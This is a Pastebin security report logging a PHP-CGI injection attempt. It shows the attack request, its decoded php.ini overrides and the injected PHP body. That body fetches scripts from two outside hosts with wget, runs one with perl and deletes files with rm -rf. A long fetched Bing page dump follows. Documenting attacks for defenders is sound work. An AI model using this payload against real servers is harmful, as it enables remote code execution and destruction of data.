Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- PHP Injection Attempt
- Reported by neonprimetime security
- http://neonprimetime.blogspot.com
- ****
- Source IP: 198.154.63.131
- Payloads:
- 198.154.63.131
- hxxp://svgold.ru/sekip/sekip.php
- hxxp://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt
- ****
- POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
- ****
- Decoded
- //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
- *****
- Content
- <? system("cd /tmp;wget http://svgold.ru/sekip/sekip.php;wget http://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt;perl new.txt;rm -rf new.txt;rm -rf new.txt.*;rm -rf *"); ?>
- *****
- content of hxxp://svgold.ru/sekip/sekip.php
- |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
- ===========================================================================================
- http://svgold.ru/sekip/sekip.php (51.91%)
- ===========================================================================================
- |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
- GET / HTTP/1.1
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-us,en;q=0.5
- Connection: keep-alive
- Keep-Alive: 115
- Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
- DNT: 1
- User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0
- Host: www.bing.com
- HTTP/1.1 200 OK
- Cache-Control: private, max-age=0
- Transfer-Encoding: chunked
- Content-Type: text/html; charset=utf-8
- Vary: Accept-Encoding
- Server: Microsoft-IIS/8.5
- P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
- Set-Cookie: _FS=NU=1; domain=.bing.com; path=/
- Set-Cookie: _SS=SID=6B3509BC90BD4153AB4D20E04AD6AD4B; domain=.bing.com; path=/
- Set-Cookie: SRCHD=AF=NOFORM; expires=Wed, 01-Feb-2017 21:52:05 GMT; domain=.bing.com; path=/
- Set-Cookie: SRCHUID=V=2&GUID=D4B2B242B79C43AA865E1F0C7EB3895E; expires=Wed, 01-Feb-2017 21:52:05 GMT; path=/
- Set-Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20150202; expires=Wed, 01-Feb-2017 21:52:05 GMT; domain=.bing.com; path=/
- Edge-control: no-store
- X-MSEdge-Ref: Ref A: 9A5CC57BDADC40D387E8800E9462F687 Ref B: 596F981958FDAF5966F35DF37286B6AF Ref C: Mon Feb 02 13:52:05 2015 PST
- Set-Cookie: _EDGE_S=F=1&SID=10FEDDA5E2C5683C2F82DAE7E3EE6930; path=/; httponly; domain=bing.com
- Date: Mon, 02 Feb 2015 21:52:04 GMT
- -------------------------------------------------------------------------------------------
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><script type="text/javascript">//<![CDATA[
- si_ST=new Date;
- //]]></script><head><meta content="text/html; charset=utf-8" http-equiv="content-type" /><script type="text/javascript">//<![CDATA[
- sb_gh=function(){return location.hash},sb_sh=function(n){location.hash=n};function _ge(n){return _d.getElementById(n)}_w=window,_d=document,sb_de=_d.documentElement,sb_ie=!!_w.ActiveXObject,sb_i6=sb_ie&&!_w.XMLHttpRequest,sb_st=_w.setTimeout,sb_ct=_w.clearTimeout,sb_gt=function(){return+new Date};sj_evt=new function(){function i(t){return n[t]||(n[t]=[])}var n={},t=this;t.fire=function(n){for(var r=i(n),u=r.e=arguments,t=0;t<r.length;t++)r[t].d?sb_st(sj_wf(r[t],u),r[t].d):r[t](u)},t.bind=function(n,t,r,u){var f=i(n);t.d=u,f.push(t),r&&f.e&&t(f.e)},t.unbind=function(t,i){for(var r=0,u=n[t];u&&r<u.length;r++)if(u[r]==i){u.splice(r,1);break}}};_G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"9_00_0_3655869",IG:"e2b16184733e45cb80b536510103e4ee",EventID:"9a5cc57bdadc40d387e8800e9462f687",V:"homepage",P:"SERP",DA:"CH1v2",CID:"230271727A9764AA324876307BBC6552",SUIH:"_Be-nHhDeqOPvmqaZkLBhQ",IP:"6753251",gpUrl:"\/fd\/ls\/GLinkPing.aspx?"};_G.lsUrl="/fd/ls/l?IG="+_G.IG+"&CID="+_G.CID;curUrl="http:\/\/www.bing.com\/";function si_T(a){if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+'IG='+_G.IG+'&CID='+_G.CID+'&'+a;}return true;};
- //]]></script><script type="text/javascript">//<![CDATA[
- function sj_wf(n){var t=arguments;return function(){n.apply(null,[].slice.apply(t).slice(1))}};function sj_be(n,t,i,r){if((n==_w||n==_d.body)&&t=="load"&&"undefined"!=typeof _d.readyState&&"complete"===_d.readyState){i();return}n.addEventListener?n.addEventListener(t,i,r):n.attachEvent?n.attachEvent("on"+t,i):n["on"+t]=i}function sj_ue(n,t,i,r){n.removeEventListener?n.removeEventListener(t,i,r):n.detachEvent?n.detachEvent("on"+t,i):n["on"+t]=null};function si_ct(n,t){var r="getAttribute",u,i,f;try{for(;n!==_d.body;n=n.parentNode){if(u=n.tagName=="A"&&n[r]("h")||n[r]("_ct"),u){i=n[r]("_ctf"),i&&_w[i]||(i="si_T"),_w[i]&&_w[i]("&"+u);break}if(t)break}}catch(e){}return!0}(function(){sj_be(_d,"mousedown",function(n){si_ct(sb_ie?event.srcElement:n.target)},0)})();function sf_fbPce(n){sj_evt.fire("xd:fba:proxyCheck",n)};function sj_ce(n,t,i){var r=_d.createElement(n);return t&&(r.id=t),i&&(r.className=i),r};function sj_gx(){return sb_i6?new ActiveXObject("MSXML2.XMLHTTP"):new XMLHttpRequest};function sj_pd(n){sb_ie?event.returnValue=!1:n.preventDefault()};function sj_go(n,t,i){for(var r=0;n.offsetParent&&n!=(i||sj_b);)r+=n["offset"+t],n=n.offsetParent;return r};function sj_we(n,t,i){while(n&&n!=(i||sj_b)){if(n==t)return!0;n=n.parentNode}return!1};function sj_so(n,t){n.style.filter=t>=100?"":"alpha(opacity="+t+")",n.style.opacity=t/100};_w.sched=_w.sched||function(){function r(t){n.push(t)}function u(n){return function(){_w.sched.schedule(n)}}function f(n){t.push(n)}function e(n,t){i[n]=t}var n=[],t=[],i={};return{register:r,wrapSchedule:u,schedule:f,reportCustomMetric:e,_ns:n,_reg:t,_cm:i}}();function sj_anim(n){var t=this,s,u,h,e,r,f,c,i,o;t.init=function(n,e,h,l,a){s=n,r=e,f=h,c=l,o=a,i||(i=r),u||t.start()},t.start=function(){h=sb_gt(),e=Math.abs(f-r-i)/c*25,u=setInterval(t.next,25)},t.stop=function(){clearInterval(u),u=0},t.next=function(){var u=sb_gt()-h;i=r+(f-r)*u/e,u>=e&&(t.stop(),i=f,o&&o()),n(s,i)}};function sj_fader(){return new sj_anim(function(n,t){sj_so(n,t)})};Log=new function(){function y(i,f,s,h,c){var p="",y,v,l;if(c)for(y=0;y<c.length;y+=2)v=c[y],l=c[y+1],(typeof v!="string"||v[o]('"')<0)&&(v='"'+v+'"'),typeof l=="string"&&l[o]("{")<0&&l[o]('"')<0&&(l='"'+l+'"'),p+=n(v+":"+l+",");p+='"T":"CI.'+i+'",'+(typeof f=="number"?'"K":'+f:'"FID":"'+f+'"')+',"Name":"'+s+'","TS":'+sb_gt(),a[e]+r[e]+p[e]>=2048&&t(),r+=(u?",":"")+n("{")+p+n("}"),u=1,h&&t()}function t(){f&&sb_ct(f),u&&(i.ping.src=l+a+r+n("]"),u=0,r=n("[")),f=sb_st(t,h)}var i=this,n=escape,e="length",o="indexOf",s="apply",h=2e3,r=n("["),u=0,c=0,f,l="",a=_G.lsUrl+"&TYPE=Event.ClientInst&DATA=",v=location.hostname.match(/([^.]+\.[^.]*)$/);v&&(l="http://a4."+v[0]),i.ping=new Image,i.Log=function(n,i,r,u){c||(y("Init","CI","Base",!1),f=sb_st(t,h),c=1,sj_be(_w,"beforeunload",t,!1)),y(n,i,r,u,[].slice.apply(arguments).slice(4))},i.Wrap=function(n,t,i,r){var u=n[t];n[t]=function(){var n=arguments,e,t,f;if(r&&i[s](this,n),e=u[s](this,n),!r){for(t=[],f=0;f<n.length;f++)t.push(n[f]);t.push(e),i[s](this,t)}return e}}};function sj_jb(n,t){function e(n,t,i,r){i&&sj_ue(i,r,e),sj_evt.bind("onP1",function(){if(!n.l){n.l=1;var i=sj_ce("script");i.src=(t?"/fd/sa/"+_G.Ver:"/sa/"+_G.AppVer)+"/"+n.n+".js",sj_b.appendChild(i)}},1,5)}for(var r=arguments,u,f,i=2,o={n:n};i<r.length;i+=2)u=r[i],f=r[i+1],sj_be(u,f,sj_wf(e,o,t,u,f));i<3&&e(o,t)};function sj_ev(n){return sb_ie?event:n}function sj_et(n){return sb_ie?event.srcElement:n.target}function sj_mi(n){return sb_ie?event.fromElement:n.relatedTarget}function sj_mo(n){return sb_ie?event.toElement:n.relatedTarget};function sj_sp(n){sb_ie?n.cancelBubble=!0:n.stopPropagation()};var sw_={insertShareToggle:function(n,t,i){var r,u,e,f,o,h,s;n!=null&&(r=_ge("sb_form_q"),r&&(u=r.parentNode,u&&(n.style.position="absolute",e=r.offsetWidth,f="px",n.style.right=u.offsetWidth-e+3+f,u.appendChild(n),o=t&&n.offsetWidth==0?t:n.offsetWidth,h=i&&n.offsetHeight==0?i:n.offsetHeight,n.style.top=(u.offsetHeight-h)/2+f,s=r.style,s.width=e-o-20+f,s.marginRight=o+6+f)))},isNarrow:function(){return sb_de.clientWidth<1140}};function lb(){function e(n){i=n[1],u.unbind(f,e)}var u=sj_evt,f="onSbBusy",i,n,r,t;for(u.bind(f,e,1),n=1;n<4;++n)r="sb_form"+(n>1?n:""),t=_ge(r),!t||i&&_ge(r+"_q")==i||!t.reset||t.reset();_w.si_sendCReq&&sb_st(si_sendCReq,800),_w.lbc&&lbc()}function init(){}(function(){var n=sj_evt,t="onSbBusy",i=null;n.bind(t,function(){sb_ct(i),i=sb_st(sj_wf(n.fire,"onSbIdle"),1100)}),sj_be(_d,"keydown",function(i){n.fire(t,sj_et(i))})})(),sj_evt.bind("onHTML",function(){var n=_ge("sb_form");n&&sj_be(n,"submit",sj_wf(sj_evt.fire,"onSearch",n))});
- //]]></script><link href="http://www.bing.com/" rel="canonical" /><style type="text/css">html{overflow:auto}a,body{font-family:"Segoe UI",Segoe,Tahoma,Arial,Verdana,sans-serif;font-size:small;text-decoration:none}a:hover{text-decoration:underline}ul{padding:0}html,body,#hp_table,#hp_cellCenter{height:100%;width:100%;border-collapse:collapse;margin:0;padding:0;background-color:#333;border:0}#hp_cellCenter{vertical-align:middle;overflow:hidden}#hp_sw_hdr{position:absolute;top:0;width:100%}#sc_hdu{position:absolute;top:0;height:35px;line-height:35px;bottom:0;left:0}#sc_hdu li{zoom:1;display:inline}#sc_hdu li a{vertical-align:middle;line-height:35px!important;display:inline-block}#hp_bottomCell{position:absolute;bottom:0;width:100%}#hp_container{min-width:1115px;max-width:1366px;width:100%;min-height:599px;max-height:768px;height:100%;position:relative;margin:auto}*+html #hp_container{overflow:hidden}table,td{border-spacing:0;border:0;padding:0}#bgDiv{position:absolute;top:0;overflow:hidden;width:100%;height:100%;background-repeat:no-repeat;background-color:#666;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover}.hp_text,.sc_pc li a,#sb_foot,#sb_foot li a,ul.hp_head_nav li a{font-weight:400}.hp_text{font-size:13px}#sb_foot,#hp_sw_hdr{height:35px;background-color:#333;z-index:9;width:100%;position:relative;border:0;padding:0}#sc_hdu div,.sw_tb h3.sc_hl1,.sw_tb li{display:inline}#sw_footL,#sw_footL a{color:#666}#sw_footL #sb_feedback{color:#999}#sb_foot a,#sb_foot span{margin:0 10px;zoom:1}#sb_foot{overflow:hidden}#sw_footL{margin:0;padding:0;text-align:right;position:absolute;right:20px;white-space:nowrap}#sw_footL li{line-height:32px;height:32px;display:inline;zoom:1}.sw_tb{padding:0;width:100%;height:35px;margin:0;font-size:13px}.sw_tb ul{margin:0;padding:0}.sw_tb ul.sc_hl1 li a{zoom:1}.sc_pc{top:25px!important}#hdr_spl{margin:0 15px;color:#acacac}#hp_sw_hdr ul li a:hover{text-decoration:none;color:#fff}#hp_sw_hdr li.sc_active{font-weight:700;border-left:solid 1px #a8b1b7;border-right:solid 1px #a8b1b7;margin:0;border:none}#hp_sw_hdr li.sc_active>a{color:#ffa615}ul.hp_head_nav{padding-left:3px}ul.hp_head_nav li a{margin-left:15px;margin-right:15px;color:#acacac}ul.hp_head_nav>li>a{text-transform:uppercase}.sh_hst{position:absolute;z-index:4;visibility:hidden}.sh_hto{width:39px;height:39px;opacity:.4;filter:alpha(opacity=40);background:#000;padding:1px}.sh_hto div{height:37px;width:37px;border:1px solid #fff;float:left}a.sh_hs{color:#fff;text-decoration:none;position:absolute;display:block;cursor:pointer;z-index:6;line-height:1.4em;width:205px;padding:3px 8px 6px;visibility:hidden}a.sh_hs:hover{text-decoration:none}a.sh_hs p,a:visited.sh_hs p{margin:0 0 .2em}.sh_hq{text-decoration:underline}.sh_hi{display:inline;font-size:medium;color:#ffa500}.sh_ho{width:100%;position:absolute;top:0;left:0;z-index:-1;opacity:.6;filter:alpha(opacity=60);padding:1px;background:#000}.sh_ho div{border:1px solid #fff}#hp_tbar,#hp_bk{display:none}#thp_notf_div{position:fixed}.hidden{display:none!important}#hp_sw_hdr .sw_mktsw{position:relative;display:none;top:0}#hp_sw_hdr .sw_mktsw a,#hp_sw_hdr .sw_mktsw span{color:#999;margin:0 10px 0 9px;height:35px;line-height:35px}#hp_id_hdr #dhp{color:#acacac;position:relative;float:right;bottom:0;display:block;visibility:hidden;padding-left:5px;padding-right:30px;height:16px;line-height:100%;top:13px}#hp_container .sa_as,#hp_container .pp_tile{border-color:#e5e5e5}.hpcBkP,.hpcLogoWhite,.hpcNext,.hpcCopyInfo,.hpcPlay,.hpcPause,.hpcPrevious,.hpcFull,.hpcSmall,.sw_qbtn,.hpcExpand,.hpcClose,.hpcDown,.pref,.img_uparrow,.img_rwds_sml,.img_downarrow,.hpcCaroNavRight,.hpcCaroNavLeft,.sw_qbtn,.wpbClose{background:transparent url(/s/a/hpc12.png) no-repeat;overflow:hidden}.hpcNext,.hpcCopyInfo,.hpcPlay,.hpcPause,.hpcPrevious,.hpcFull,.hpcSmall,.hpcDown{width:32px;height:32px}.hpcLogoWhite{background-position:0 0;margin:-7px 21px 0 0;width:132px;height:52px}.hpcNext{background-position:-160px -53px}.hpcCopyInfo{background-position:-64px -85px}.hpcPlay{background-position:0 -85px}.hpcSmall{background-position:-64px -53px}.hpcDown{background-position:0 -53px}.hpcFull{background-position:-32px -53px}.hpcPause{background-position:-32px -85px}.hpcPrevious{background-position:-192px -53px}.sw_qbtn{background-position:-224px -53px}.hpcCaroNavLeft,.hpcCaroNavRight{position:absolute;width:17px;height:26px}.hpcCaroNavRight{background-position:-222px -27px}.hpcCaroNavLeft{background-position:-205px -27px}.hpcExpand,.hpcClose{width:32px;height:32px}.hpcExpand{background-position:-128px -53px}.hpcClose{background-position:-96px -53px}.pref:hover{background-position:-187px -18px}.pref{background-position:-169px -18px;width:18px;height:18px}.img_uparrow{background-position:-174px -36px;width:20px;height:12px!important}.img_rwds_sml{background-position:-167px 0;width:18px;height:18px!important}.img_downarrow{background-position:-165px -36px;width:9px;height:6px}.hpcBkP{overflow:hidden;width:74px;height:32px;cursor:pointer;background-position:-96px -85px}.hpcBkP:hover{background-position:-171px -85px}.wpbClose{width:16px;height:16px;background-position:-132px -36px}.wpbClose:hover{background-position:-148px -36px}b{padding:0}@media only screen and (min-height:806px)and (orientation:landscape),screen and (min-width:1433px)and (orientation:landscape){#hp_container,#bgDiv,#hp_vidwrp,#vid{max-height:1080px;max-width:1920px}#vid{min-width:100%;min-height:100%;width:auto;height:auto}#hp_tbar{max-width:1920px!important}#sc_mdCrs{width:100%!important}}.hp_sw_logo{float:left;text-indent:-20em}.sw_sform{position:absolute;top:20%;left:8%;width:1028px;margin:0;z-index:9}body .b_searchboxForm .b_searchboxSubmit{height:37px;width:37px;border:5px solid #ffb900;background:#ffb900 url(/s/a/hpc12.png) no-repeat;background-position:-224px -53px;vertical-align:top;margin:-2px 0 3px}*+html .b_searchboxSubmit{color:#010101;filter:progid:DXImageTransform.Microsoft.Chroma(color=#000000)}body .b_searchbox{border-right:0;margin-left:6px;padding-right:4px}body .b_searchboxForm{border:1px #e5e5e5 solid;padding:5px 3px 0}body .beta,body .beta a{color:#bbb}.beta{position:absolute;top:45px;left:54px;width:55px;height:18px;overflow:hidden}.beta a{font-size:12px}#sw_clx{position:absolute;right:40px;padding:12px;cursor:pointer}.sw_tpcbk{background-position:-176px -32px;height:10px;width:10px;background-image:url(/sa/simg/sw_mg_l_4c.png);background-repeat:no-repeat}.sw_meIc,.sw_spd,.sw_spr,.sw_pref,.idp_fb,.idp_wlid,.idp_tw{background-image:url(/sa/simg/sw_mg_l_4d_bo.png);background-repeat:no-repeat}.sw_pref,.idp_fb,.idp_wlid,.idp_tw{background-position:-485px 0;height:16px;width:16px}.sw_pref:hover,.sw_pref:active,.sw_pref:focus{background-position:-503px 0}.idp_fb{background-position:-298px -22px}.idp_wlid{background-position:-384px 0}.idp_tw{background-position:-645px 0}.sw_meIc,.sw_spr,.img_rwds_sml{background-position:-521px 0;height:16px;width:16px}#spcv .sw_meIc,.rigleamon .sw_meIc{background-position:-557px 0}.gleamon .sw_meIc{background-position:-627px 0}.gleamoff .sw_meIc{background-position:-609px 0}.sw_spd{background-position:-341px 0;height:20px;width:20px}.b_searchboxForm{background-color:#fff}.sw_pref{border-color:#333}.id_button,.id_button:visited{color:#777}.id_button:hover,.b_idOpen a#id_l,a#bep.openfo,a#id_rh.openfo{color:#777;background-color:#eee}.b_idOpen #id_l{background-color:#eee}input{font:inherit;font-size:100%}.b_searchboxForm{font:18px/normal 'Segoe UI',Arial,Helvetica,Sans-Serif}.id_button{line-height:40px}h2 a,a:hover{text-decoration:underline}a,#id_h a,#id_h a:hover,.b_toggle,.b_toggle:hover{text-decoration:none}.b_searchboxForm,#id_h .id_button,.id_avatar,.rwds_bep_head,.sw_pref{display:inline-block}.b_searchboxForm{position:relative}.b_searchbox{width:490px;margin-top:2px;margin-right:0;margin-bottom:3px;margin-left:12px;border:0;padding-top:0;padding-right:10px;padding-bottom:0;padding-left:0;max-height:30px;outline:none;-webkit-appearance:none;border-right:1px solid;border-color:#ccc;box-sizing:content-box;position:relative;height:40px}.b_searchboxSubmit{text-indent:-99em;position:static;right:0;top:0;cursor:pointer}#id_h{display:none;position:absolute;top:0;width:300px;height:40px;text-align:right;z-index:1}.b_twoColOnly{vertical-align:top}#id_l,.id_button{padding:0 10px}#bepfo,#bepfo iframe,#bepfl{width:372px}#bepfl{text-align:center;margin:50px 0}#id_d,#bepfo{position:absolute;z-index:6;text-align:left;color:#000;background-color:#fff;border:1px solid #ccc;border-top-width:0}.b_idOpen #id_d{display:block;padding:11px 0 5px}#sw_tfbb,#id_d{display:none}.sw_pref{border-style:solid;border-width:7px 0 7px 10px;vertical-align:bottom}#id_h{background-color:transparent!important;position:relative!important;float:right;height:35px!important}#bep.bepoff{display:none}#bep .bepcnt{vertical-align:top}.sw_pref{margin:0 15px 3px 0}#id_d{left:auto;right:26px;top:35px!important}.id_avatar{vertical-align:middle;margin:10px 0 10px 10px}#id_d h2{font-size:18px;font-weight:normal;margin:0}.id_button{line-height:35px!important;vertical-align:top}.id_button:hover,a#bep.openfo,a#interestsiconlink.openfo,a#id_rh.openfo{background-color:transparent!important}.b_idOpen #id_l,.openfo #id_rc{color:#fff!important;background-color:#333!important}.sw_tb a:hover{color:#fff!important;text-decoration:none}.sw_tb div.idp_fb,.sw_tb div.idp_wlid{height:16px!important}#id_d a:hover{color:#1020d0!important}#id_h .b_hide{display:none!important}#bepfo{position:relative;left:-100px;top:-3px;border:none}#interestsFlyout{position:absolute!important;left:-190px!important;top:35px!important;border:none!important;min-height:110px}@media(max-width:1040px){#interestsFlyout{left:-145px!important}}#interestsiconlink{margin-top:10px}.b_cm{background-image:url(/sa/simg/sw_mg_l_4d_bo.png);background-repeat:no-repeat;background-position:-433px -32px;height:12px;width:12px;display:inline-block}.rwds_bep_head{margin:12px 0 0 6px!important}#sc_hdu div.rms_office_launch_sprite.rms_office_launch{display:block}#officelink,#officelink>a{cursor:pointer}#officelink:hover .rms_office_launch{background-position:-15px 0}.sw_tb ul.om{padding:15px;width:320px;height:300px;z-index:9;display:none;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#B2000000,endColorstr=#B2000000);background-color:rgba(0,0,0,.7)}.om .itm_desc{line-height:normal;text-transform:none;width:70px}#sc_hdu .sc_pc .om li{float:left;width:80px;height:80px;text-align:center;padding:10px}.om li a{color:#acacac;text-decoration:none;font-family:Arial,Helvetica,sans-serif;cursor:pointer}.om li:hover a{color:#fff}.oms .oml_img{background-color:transparent;background-repeat:no-repeat;background-image:url(/s/a/hp_officemenu_sprite.png)}.oml_img{height:48px;width:48px;margin-left:auto;margin-right:auto;display:inline-block;overflow:hidden}#off_menu_cont{visibility:hidden}#officemenu_outlook_img{background-position:-245px 0}#officemenu_word_img{background-position:0 0}#officemenu_excel_img{background-position:-49px 0}#officemenu_powerpoint_img{background-position:-98px 0}#officemenu_people_img{background-position:-343px 0}#officemenu_calendar_img{background-position:-294px 0}#officemenu_onedrive_img{background-position:-147px 0}#officemenu_onenote_img{background-position:-196px 0}#hp_ctrls{height:60px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#sh_rdiv{position:absolute;right:40px;top:19px}#sh_rdiv a>div{position:relative;margin:0 5px}#sh_rdiv a{position:relative;float:left;display:block;text-decoration:none;cursor:default;outline:none}#sh_rdiv a:hover,#sh_rdiv a:hover span{visibility:visible}#sh_igl>div,#sh_igr>div,#sh_igf>div{visibility:hidden;cursor:pointer}#sh_rdiv .sc_lightdis div{cursor:default;opacity:.5;filter:alpha(opacity=30)}#hp_bottomCell{z-index:8!important}#sh_rdiv{z-index:6}#musCard{right:20px;position:absolute;display:none;width:260px;min-height:560px;top:-500px}#musCardContent{display:none;width:100%;height:auto;position:absolute;background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.6)),to(rgba(0,0,0,.6)));background-image:-moz-linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);background-image:-ms-linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);background-image:-o-linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);background-image:linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#99000000',endColorstr='#99000000');padding-bottom:60px;padding-top:10px;bottom:0}#musCardContent,#musCardContent a{color:#ddd;font-family:Arial,Helvetica,Sans-Serif;font-size:13px}#musCardCopyright,#musCardImageTitle,#musCardActionLinks li div,#musCardContent a div{white-space:normal;overflow:hidden;text-overflow:ellipsis;-ms-text-overflow:ellipsis;word-wrap:break-word}#musCardDesc,#musCardImageTitle,#musCardCopyright{margin:0 10px}#musCardCopyright{padding:5px 10px 0 0}#musCardImageTitle{padding:5px 0}#musCardActionLinks{list-style:none;padding:0 0 10px 0;border-bottom:1px solid #fff;margin:0 20px}#musCardActionLinks li{padding:10px 0}.action-link-desc{padding-top:5px}#musCardCopyright,.action-link-desc{color:#aaa}#musCardImageTitle{color:#ddd;font-size:22px;font-weight:100;font-family:'Segoe UI Light','Segoe UI',Arial,Helvetica,Sans-Serif}#musCardImageTitle.reduced{font-size:18px}#DownloadHPImage.disabled{color:#757575}#DownloadHPImage.disabled,#musCardImageLink.empty{cursor:default;text-decoration:none}.hot_disable .sh_hst,.hot_disable .sh_hs,.hot_disable .sh_hst,.hot_disable .sh_hs{display:none!important}#hp_share_options{list-style:none;margin:0 10px;padding:0}#hp_share_options li,#hp_share_options li a{display:inline-block}#hp_share_options li a{text-align:center;padding:10px 5px 10px 10px}.rms_rmsanswersHomepageHomepageShareSprite{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD4AAAAQCAYAAABOZ8wCAAADqUlEQVRYR52Xz0sUYRjH3c0sMrHsByWBUoImaIeCDnUyKiKosMLo4q2b9R8ERXTo2KWuip6SqDRNqFjCSxFRVBiVeeki/VYU1Nzt8333mV1nm5nd2S98mPd9fs08O++8s1MhZTKZ9W5QROl0uhX64BO8hxuwVT5q7GXcanGzsFwms6pRjriGKvIvwTjo+nphl7n9wrEGhmCfmQKF/wDMUNwnbB/gGTyHHRa7bO7YUq47YUyRuoHcEeUbS1ZvGposLC9823DMwQ84ZmafiFmL760KBQmf9IjhBcUzLrXxl3CW+MNwVQblupPGEGkbyXsC0hfohDYYspq9FpoXxi3w3Tsp3IQGczsx3wNpxYQJ9wiHDRZftHFiBl1xE/PTZo/VOCm15IwpDyaZt5hLNdX8EkyYyS8cuuiV+o1tALqhAQ6ZPVD49cNttnKlNl5nsR0wCq/NXnLjhCdAjddDFzSby4n5GdUjJmWmvDBW4jwC04z/E/YF0GMQesdxfYUaK1lq4y6e46iZnJTrihQRodrILoL2l88wCO3mVt1mmAKthB4z54VxO0zAz+yp44vcNxySVjKycXxaejPgNX7P5nPmL9o4YXqmveXtNjKQdIPq8LdwnHSWdPoh8ypL9QvnsE5arsjvt1JOzKMaH7Ywn7CfNH9k44So6acWO8XhFMcmuAb9oP3Ia/oxfrfvBApnI0HvVKwckXvCSjkxj2pcd2C1hercqzTHft78oY3j1ivL273VnJrUXqSmm/DrR9DylqKb9kTQQUhBXOmVVGllnDhpVOOSlqe31L13r9tDNHZFCoRLz7RiJbd7c9wEbv9BWu7e0te+UbxpiWD3i8eV8qxETjq5uUNFTK5xMzkp1xUpEPYe+UDv6dzuzbgdtLFpg9NG10OZ4Gc6TCRdgaIX7YnYPkv1qZQaxMRqHFdKPug0kxNz7d56ldUTUwsJc8UTiTspcptjpIjRsqu2NJ+we0suCq/x4QJ72B3Xm0fLuc1Msu0GrQDljXFZteYqqiQJ1aD/66KN5G7sR7PuYBEzwKErmUzOZS2BUgNhpBOJRIaj9BdW+sL0ghztJdd1naA7PwqNkMJ3Dv4wLk0U2A8P4JvuZJSI+agTMoxcTsToDujuLIagDwh9I9TA/ZV2CGweu15Z7k+WF2fk/irHkWtAFwEdDI+DPi21ZPTrLsAveAV3+UXHYZ5xpLgYfVquy85ia56V5B6DQlFXn5iXQV+Suq47XM8tWGQcQxUV/wBKeHOWWbzQRgAAAABJRU5ErkJggg==);display:inline-block;background-repeat:no-repeat;}.rms_rmsanswersHomepagehp_fb_share_img{height:16px;width:20px;background-position:-21px 0;}.rms_rmsanswersHomepagehp_twitter_share_img{height:16px;width:20px;}#sb_foot{_display:inline;_zoom:1}#sw_footL{margin:0;padding:0;position:absolute;right:20px;white-space:nowrap}#sw_footL a{color:#666}#sb_foot ul{display:block}#sb_foot li{display:inline}#sb_foot a,#sb_foot span{margin:0 10px}a #sb_feedback{color:#1020d0}#sw_ctfm{margin:15px 0 0 10px;float:left}#fbpgbt{z-index:1000000!important}</style><script type="text/javascript">//<![CDATA[
- _w.p1="onP1";_w.si_PP=function(n,t,i){var f,s,r,h,c,l,a,u,v,o,e;if(!_G.PPS){for(s=["FC","BC","H","BP",null];f=s.shift();)s.push('"'+f+'":'+(_G[f+"T"]?_G[f+"T"]-_G.ST:-1));if(r=i||_w.performance&&_w.performance.timing,h=null,r&&(c=["unloadEventStart","unloadEventEnd","redirectStart","redirectEnd","fetchStart","domainLookupStart","domainLookupEnd","connectStart","connectEnd","secureConnectionStart","requestStart","responseStart","domLoading","domInteractive","domContentLoadedEventStart","domContentLoadedEventEnd","domComplete","loadEventStart","loadEventEnd","msFirstPaint","responseEnd",""],l=r.navigationStart,l>=0)){for(v=o=a=0;f=c.shift();a++)u=r[f],u>0&&(v|=1<<a,u-=l,c.push(u===o?"":(u-o).toString(16)),o=u);e="navigation",h=',"w3c":"'+v.toString(16)+","+c.join()+'","nav":'+(e in r?r[e]:performance[e].type)}_G.PPImg=new 